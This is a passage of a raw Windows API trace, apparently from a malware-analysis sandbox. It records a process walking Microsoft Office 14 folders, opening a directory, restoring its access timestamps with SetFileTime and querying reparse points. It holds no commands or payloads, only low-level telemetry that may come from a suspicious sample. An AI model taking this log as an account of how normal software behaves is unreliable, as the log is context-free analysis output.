hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62b3700, ftCreationTime.dwHighDateTime=0x1ca5009, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe62b3700, ftLastWriteTime.dwHighDateTime=0x1ca5009, nFileSizeHigh=0x0, nFileSizeLow=0x22e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM.HXS", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65709000, ftCreationTime.dwHighDateTime=0x1ca53a7, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x65709000, ftLastWriteTime.dwHighDateTime=0x1ca53a7, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXC", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be72800, ftCreationTime.dwHighDateTime=0x1ca53a7, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5be72800, ftLastWriteTime.dwHighDateTime=0x1ca53a7, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXT", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa724d200, ftCreationTime.dwHighDateTime=0x1ca5059, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa724d200, ftLastWriteTime.dwHighDateTime=0x1ca5059, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa724d200, ftCreationTime.dwHighDateTime=0x1ca5059, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa724d200, ftLastWriteTime.dwHighDateTime=0x1ca5059, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94d40e00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94d40e00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x26745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD.HXS", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXC", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXT", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUTILS.VSL", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52086660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISWEB.VSL", cAlternateFileName="")) returned 1 [0078.108] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vsdir", cAlternateFileName="")) returned 1 [0078.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0078.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.109] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac7108 [0078.109] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac7108, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xac7108, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac7108) returned 1 [0078.109] NtClose (Handle=0x174) returned 0x0 [0078.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0078.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0078.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.110] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.110] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 1 [0078.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0078.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0078.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4c48 [0078.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b31e0 [0078.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0078.110] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 0 [0078.110] GetLastError () returned 0x12 [0078.111] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.111] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 0 [0078.111] GetLastError () returned 0x12 [0078.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.111] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9ad58) returned 1 [0078.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xa3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDALLLNK.VRD", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43d9b00, ftCreationTime.dwHighDateTime=0x1c2a020, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd43d9b00, ftLastWriteTime.dwHighDateTime=0x1c2a020, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDCMPVRD.XML", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x722, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDERRLNK.VRD", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4b425a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV.HXS", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x168406, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.HXS", cAlternateFileName="")) returned 1 [0078.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_COL.HXC", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_COL.HXT", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_F_COL.HXK", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_K_COL.HXK", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17253500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x521b7160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17253500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINSCHD.VRD", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97366800, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97366800, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x718092, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV.HXS", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0078.112] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, 